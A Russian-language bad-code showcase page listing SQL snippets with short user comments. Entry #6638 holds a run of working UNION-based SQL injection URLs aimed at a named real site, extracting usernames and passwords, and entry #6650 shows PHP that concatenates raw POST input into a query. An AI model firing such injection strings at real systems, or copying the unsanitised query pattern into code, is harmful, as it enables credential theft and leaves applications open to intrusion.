1. SQL / Говнокод #6678

    −113

    1. 1
    SELECT `index`,`title`,`date` FROM news WHERE `groups` LIKE '".$group.",%' or `groups` LIKE '%,".$group.",%'  ORDER BY index desc

    Организация связей таблиц новостей и групп. Поле groups содержит в себе инфу вида "3,43,34,54,56,".

    kakon, 15 Мая 2011

    Комментарии (11)
  2. SQL / Говнокод #6650

    −119

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $query = "SELECT * FROM ns_preces".
    			 	" inner join ns_group on".
    				" ns_group.groupid=ns_preces.groupid".
     				" WHERE (assortiment=1) ".$group_case." and (proizvod like '%".$_POST["find"]."%' or model like '%".$_POST["find"]."%')";
    			$view_type=4;

    Если значение поля FIND избавляем от пробелов с помощью JavaScrip, разбивается слово в t убираются пробелы, как несколько значений скормить такому запросу ?

    lan-dao, 13 Мая 2011

    Комментарии (16)
  3. SQL / Говнокод #6638

    −108

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

    Собственно говоря вспомнил лихие времена.
    Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

    ursus, 12 Мая 2011

    Комментарии (7)
  4. SQL / Говнокод #6622

    −861

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    /* Formatted on 2011/05/11 16:11 (Formatter Plus v4.8.7) */
    CREATE SEQUENCE tmpseq
    /
    CREATE TABLE tmpt(a NUMBER, b NUMBER)
    /
    CREATE OR REPLACE TRIGGER tmpt_bi
       BEFORE INSERT
       ON tmpt
       REFERENCING NEW AS NEW OLD AS OLD
       FOR EACH ROW
    BEGIN
       IF :NEW.a IS NULL
       THEN
          SELECT tmpseq.NEXTVAL
            INTO :NEW.a
            FROM DUAL;
       END IF;
    END;
    /
    DECLARE
       l_a   tmpt.a%TYPE;
       n     NUMBER;
    BEGIN
       FOR n IN 5 .. 8
       LOOP
          INSERT INTO tmpt
                      (b
                      )
               VALUES (n
                      )
            RETURNING a
                 INTO l_a;
    
          DBMS_OUTPUT.put_line (l_a);
       END LOOP;
    END;
    /
    select * from tmpt
    /
    DROP TRIGGER tmpt_bi
    /
    DROP TABLE tmpt
    /
    DROP SEQUENCE tmpseq
    /
    COMMIT

    иногда я не верю мануалам и проверяю себя небольшими кусочками кода. на этот раз я проверил конструкцию returning

    RomaShka, 11 Мая 2011

    Комментарии (3)
  5. SQL / Говнокод #6557

    −187

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    p.name LIKE '0%'
    OR p.name LIKE '1%'
    OR p.name LIKE '2%'
    OR p.name LIKE '3%'
    OR p.name LIKE '4%'
    OR p.name LIKE '5%'
    OR p.name LIKE '6%'
    OR p.name LIKE '7%'
    OR p.name LIKE '8%'
    OR p.name LIKE '9%'

    часть запроса для поиска по названию, начинающемуся с цифры

    NaCilnic, 05 Мая 2011

    Комментарии (23)
  6. SQL / Говнокод #6539

    −850

    1. 1
    -- Таблица в БД имеет колонку Visible, при этом значение 0 означает "Видим", а 1 - "Не видим"

    Ordos, 04 Мая 2011

    Комментарии (9)
  7. SQL / Говнокод #6503

    −864

    1. 1
    2. 2
    comment on column XXX.status
      is '0 -- вопрос включен, 1-- выкл';

    Duke_Raven, 28 Апреля 2011

    Комментарии (5)
  8. SQL / Говнокод #6448

    −860

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    -- Из простого...
    select kdet, cexnum, cex, last_value(cex) over(partition by kdet) as final_cex
    from xxtpa_rout_aztpa_v;
    
    -- Сделаем сложное...
    select t.*, max(max_cex) over(partition by kdet, rout_num) max_cex
    from (select t.*, case cex_num when max(cex_num) over(partition by t.kdet, t.rout_num) then t.cex else null end max_cex
    from xxtpa_rout_aztpa_v t) t;

    Пример того, как НЕ применять KISS-принцип.

    dwinner, 22 Апреля 2011

    Комментарии (5)
  9. SQL / Говнокод #6366

    −860

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    select 
    (CASE WHEN d.t1_aup_f IS NULL THEN (
      CASE WHEN (lag(sum(d.t1_aup_f),1) over (order by d.real_day)) IS NULL THEN (
       CASE WHEN (lag(sum(d.t1_aup_f),2) over (order by d.real_day)) IS NULL THEN (
     /* ... */
                                 CASE WHEN (lag(sum(d.t1_aup_f),28) over (order by d.real_day)) IS NULL THEN (
                                  CASE WHEN (lag(sum(d.t1_aup_f),29) over (order by d.real_day)) IS NULL THEN
                                   lag(sum(d.t1_aup_f),30) over (order by d.real_day )
                                  ELSE (lag(sum(d.t1_aup_f),29) over (order by d.real_day)) END)
                                 ELSE (lag(sum(d.t1_aup_f),28) over (order by d.real_day)) END)
                                ELSE (lag(sum(d.t1_aup_f),27) over (order by d.real_day)) END)
     /* ... */
       ELSE (lag(sum(d.t1_aup_f),2) over (order by d.real_day)) END)
      ELSE (lag(sum(d.t1_aup_f),1) over (order by d.real_day)) END)
    ELSE d.t1_aup_f END) gf_1 
    from sometable

    таких полей было больше. тут http://paste.org.ru/?zlc3b8 - целиком. для полноты картины. надеюсь, не я написал, хотя... ))))

    RomaShka, 15 Апреля 2011

    Комментарии (2)
  10. SQL / Говнокод #6327

    −858

    1. 1
    2. 2
    3. 3
    4. 4
    select
        if(t.town_name is null, t.id, t.town_name) as 'town',
        ...
     from towns t;

    в sql внезапно тоже есть приведение типов и можно получить вот такое назвение города
    1101000010010010110100001011101111010000 1011000011010000101101001101000010111000 1101000010110010110100001011111011010001 1000000111010001100000101101000010111110 1101000010111010

    zlob.jc, 13 Апреля 2011

    Комментарии (0)